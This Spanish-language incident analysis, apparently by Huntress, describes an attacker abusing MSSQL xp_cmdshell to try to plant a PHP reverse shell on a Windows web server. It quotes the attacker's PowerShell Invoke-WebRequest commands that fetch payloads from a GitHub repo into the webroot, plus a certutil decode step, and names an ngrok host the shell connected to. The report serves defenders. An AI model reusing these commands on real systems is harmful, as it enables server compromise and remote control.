Superficie de ataque: qué es, sus tipos y cómo gestionarla

Antecedentes

Dada la diversidad de su base de clientes, Huntress observa una amplia variedad de actividad, incluso cuando se trata de actores de amenazas persistentes. Cuando un actor de amenazas así intenta comprometer a un cliente que cuenta tanto con managed EDR como con servicios de antivirus administrado (MAV), suele ser muy interesante observar su modo de operar.

Huntress reportó recientemente alertas a un cliente durante dos días, con indicios de intentos de obtener acceso a un endpoint. El endpoint en cuestión es un sistema Windows Server 2019 Essentials, monitoreado por Huntress desde hace más de un año. Al revisar el historial de la organización en el portal de Huntress, este incidente es la primera vez que este endpoint genera alertas y se reporta al cliente. En resumen, el actor de amenazas usaba un acceso aparentemente obtenido con anterioridad a una instancia de MSSQL para intentar subir una reverse shell accesible a través del servidor web.

El ataque, día 1

Las detecciones iniciales que llamaron la atención hacia el endpoint fueron una combinación de alertas de MAV y de detección de procesos. En concreto, como se ilustra en la Figura 1, un archivo en el servidor web, maa.php, fue detectado por Windows Defender como “VirTool:PHP/Meterpreter.A!MTB”.

*Figura 1: Detección de MAV para VirTool:PHP/Meterpreter*

Además, se detectó el uso de la utilidad nativa de Windows, certutil.exe, para decodificar un archivo en el endpoint. La detección de Huntress se ilustra en la Figura 2.

*Figura 2: Detección de proceso certutil.exe de Huntress*

Durante el período del ataque del día 1, este ciclo se repitió, con detecciones de MAV y de procesos ocurriendo de forma secuencial, mientras el actor de amenazas intentaba usar su acceso a la cuenta 'sa' de MSSQL para intentar subir una reverse shell al servidor web. Para desgracia del actor de amenazas, Windows Defender detectó y puso en cuarentena repetidamente los archivos de la reverse shell.

En un momento durante el ataque, el actor de amenazas cambió de tácticas, pasando de ejecutar scripts de PowerShell mediante sqlservr.exe, a ejecutar comandos de PowerShell. En concreto, se observó el siguiente comando registrado en los registros de eventos de PowerShell, que demuestra el intento de subir un archivo específico desde una ubicación específica:

powershell -command Invoke-WebRequest -Uri 'https[:]//raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'

Hacia el final de la actividad del actor de amenazas durante ese día, se registró una única consulta de maa.php en los registros del servidor web, originada desde 41.102.167[.]182. Esta solicitud GET resultó en un código de estado “404”, lo que indica que el archivo no fue encontrado, lo cual coincide con el hecho de que todos los intentos de subir el archivo habían sido infructuosos.

Además, antes del período del ataque, e incluso después, los registros del servidor web mostraron consultas exitosas repetidas mediante sqlmap, una herramienta de código abierto disponible gratuitamente, usada para pruebas de penetración y para buscar vulnerabilidades de inyección SQL. Todas las consultas se originaron en 35.195.172[.]146, y dieron como resultado respuestas con código de estado “200”, lo que indica que fueron exitosas. Sin embargo, no pareció resultar ninguna actividad adicional de estas consultas.

El ataque, día 2

El día 2 del ataque continuó con actividad similar a la del día 1, ya que se ejecutaron scripts y comandos de PowerShell usando certutil.exe mediante sqlservr.exe, como se ilustra en la Figura 3.

*Figura 3: Detección de proceso certutil.exe de Huntress*

Como se observó durante el día 1 del ataque, el actor de amenazas cambió de ejecutar scripts de PowerShell mediante sqlservr.exe a ejecutar comandos de PowerShell. En este caso, sin embargo, el actor de amenazas primero intentó subir un archivo distinto mediante un comando de PowerShell, como se ve en este extracto del siguiente registro de eventos de PowerShell:

powershell -command Invoke-WebRequest -Uri 'https[:]//github[.]com/hightidAOaa/azdaz/raw/main/fata.php' -OutFile 'fata.php'

Poco después de este intento, el actor de amenazas pasó a intentar ejecutar código similar al que se podía encontrar en los archivos maa.php y fata.php, como se ilustra en la Figura 4.

*Figura 4: Detección de proceso de reverse shell de Huntress*

Cronología del ataque

Los analistas de Huntress elaboraron una cronología de investigación a partir de datos seleccionados de los registros de eventos de Windows, e incluyeron telemetría de EDR pertinente. La cronología de investigación mostró que el actor de amenazas hizo intentos repetidos de crear una reverse shell en una carpeta accesible del servidor web, intentos que abarcaron alrededor de dos horas y cuarto repartidas en dos días. Durante ese tiempo, no solo se detectaron los intentos del actor de amenazas de ejecutar procesos, sino que Windows Defender detectó y eliminó la creación real de las reverse shells.

La actividad del actor de amenazas comenzó a las 20:17:10 UTC del día 1, y continuó durante poco menos de 46 minutos. El primer indicio del ataque dentro de la línea de tiempo de la investigación fue un mensaje de error MSSQL event ID 15281, que indicaba que el acceso al procedimiento almacenado xp_cmdshell estaba bloqueado, probablemente porque el componente estaba desactivado; poco después, se registró un mensaje MSSQL event ID 15457, que indicaba que la configuración del procedimiento almacenado xp_cmdshell se cambió de "0" a "1", habilitando el procedimiento almacenado. Esta actividad fue seguida por combinaciones de scripts de PowerShell ejecutados mediante sqlservr.exe, telemetría de EDR (resultado de la ejecución de comandos en los scripts de PowerShell) que generó alertas, y Windows Defender detectando y poniendo en cuarentena archivos resultantes de los comandos de PowerShell, identificados por el Huntress SOC como detecciones MAV.

Por ejemplo, el siguiente script de PowerShell se ejecutó mediante sqlservr.exe:

powershell -ExecutionPolicy ByPass -File C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmppsviix.ps1

A partir de ese script, se ejecutó la siguiente línea de comandos de certutil.exe, detectada mediante la plataforma de Huntress:

certutil -f -decode tmpfrckk.txt C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpseevcw.exe

Esto resultó en que Windows Defender generara una detección para Trojan:HTML/WebShell!MSR, basada en el archivo contenedor C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpfqckc.txt, y posteriormente el archivo C:\Program Files\Microsoft SQL Server\MSSQL14.SQLEXPRESS17\MSSQL\Log\tmpfqckc.txt->(Base64).

Esta secuencia de actividad continuó, y aproximadamente 45 minutos después de iniciar su ataque, el actor de amenazas cambió ligeramente de tácticas. En ese momento, apareció el siguiente comando de PowerShell en el registro de eventos de PowerShell:

powershell -command Invoke-WebRequest -Uri 'https[://raw.githubusercontent[.]com/hightidAOaa/azdaz/main/maa.php' -OutFile 'E:/inetpub/wwwroot/<REDACTED>/maa.php'

Este comando resultó de inmediato en que Windows Defender detectara el archivo

E:\inetpub\wwwroot\<REDACTED>\maa.php

como VirTool:PHP/Meterpreter.A!MTB, y lo puso en cuarentena. Poco después, apareció una solicitud GET para el archivo maa.php en los registros del servidor web, originada desde 41.102.167[.]182, que resultó en un código de respuesta "404", lo que indica que el archivo no se encontró.

Al momento de escribir esto, como se ilustra en la Figura 5, los archivos dentro de el repositorio de GitHub solo habían estado disponibles durante un breve período.

*Figura 5: Captura de pantalla del repositorio de GitHub (extracto)*

El día 2 se registraron una docena de intentos fallidos de inicio de sesión en la cuenta 'sa' del servidor MSSQL, comenzando a las 14:44:00 UTC y durante aproximadamente una hora y media. Todos los intentos aparentemente se originaron desde 'localhost'. Es poco probable que estos intentos estuvieran relacionados con la actividad del actor de amenazas, ya que los mensajes de MSSQL en el Registro de eventos de Windows tenían fecha del 28 de abril de 2023, y estos intentos fallidos de inicio de sesión observados fueron los primeros mensajes de este tipo dentro de la línea de tiempo de la investigación.

Después de estos intentos, la actividad del actor de amenazas comenzó de nuevo a las 18:27:10 UTC y continuó durante aproximadamente una hora y media. La mayoría de los intentos iniciales del actor de amenazas fueron iguales que los del día 1: ejecutar scripts de PowerShell que resultaron en detecciones de MAV y en la cuarentena de los archivos. Aproximadamente 40 minutos después del inicio de las actividades del actor de amenazas, se registró el siguiente comando en el Registro de eventos de PowerShell:

powershell -command Invoke-WebRequest -Uri 'https[:]//github[.]com/hightidAOaa/azdaz/raw/main/fata.php' -OutFile 'fata.php'

La última actividad del actor de amenazas observada el día 2 consistió en intentos de crear una shell inversa directamente mediante comandos de PowerShell emitidos a través de sqlservr.exe, conectándose a 0.tcp.eu.ngrok[.]io, el mismo servidor indicado en maa.php y fata.php. Un extracto de este código se puede ver en la Figura 4, y es muy similar al código contenido en los dos archivos PHP.

Al examinar los registros del servidor web del día 2 del ataque, no se encontraron solicitudes GET para maa.php ni fata.php.

Aunque los mensajes de MSSQL registrados en el Registro de eventos de Windows se remontaban casi 11 meses atrás, no se observaron intentos fallidos de inicio de sesión previos al ataque del día 1, lo que indica que el actor de amenazas probablemente ya tenía acceso a las credenciales necesarias antes del ataque. La configuración de la instancia de MSSQL instalada en el endpoint solo registraba los intentos fallidos de inicio de sesión y no los inicios de sesión exitosos, por lo que los analistas de Huntress no pudieron determinar el origen de los inicios de sesión.

En ninguno de los dos días hubo acciones aparentes por parte del actor de amenazas para determinar qué estaba bloqueando sus intentos de crear la shell inversa. Sin embargo, se observó que el actor de amenazas cambiaba de tácticas, pasando de ejecutar scripts de PowerShell a comandos, incluso llegando a intentar simplemente ejecutar código de PowerShell similar al que se veía en los archivos PHP. De hecho, este actor de amenazas siguió un manual de estrategias similar en ambos días, y en ninguno de los dos casos logró subir y hacer funcionar la shell inversa.

Todo esto indica cierto nivel de preparación por parte del actor de amenazas, pero también una falta de conciencia situacional y ningún interés aparente en solucionar, resolver o corregir el problema. No se observaron comandos tasklist en un intento por determinar los procesos o servicios que se ejecutaban en el endpoint. Los analistas de Huntress han observado intentos de deshabilitar Windows Defender en el pasado, pero esto no fue algo que se observara durante este incidente.

Cabe destacar los intentos del actor de amenazas de usar código de reverse shell en PHP disponible públicamente; esto es algo que se ha observado muchas veces en el pasado y probablemente se seguirá viendo en el futuro. Es habitual observar que los actores de amenazas usan herramientas de seguridad ofensiva y herramientas de escaneo de redes disponibles públicamente, entre otras.

Conclusión

La higiene básica de TI consta de varios pasos, el primero de los cuales es un inventario de activos. Esto consiste en un recuento no solo de los sistemas físicos o virtuales, sino también de las aplicaciones y los servicios que se ejecutan en esos sistemas y que son accesibles desde el exterior. El siguiente paso es la reducción de la superficie de ataque; Huntress ha abordado el tema de la reducción de la superficie de ataque, específicamente en lo que se aplica a los servidores MSSQL, en publicaciones anteriores del blog. Si un servicio o una aplicación no es necesaria para la función comercial del endpoint o del usuario, se debe considerar eliminarla; de lo contrario, debe formar parte del inventario de activos para que se pueda mantener actualizada y aplicarle parches según sea necesario.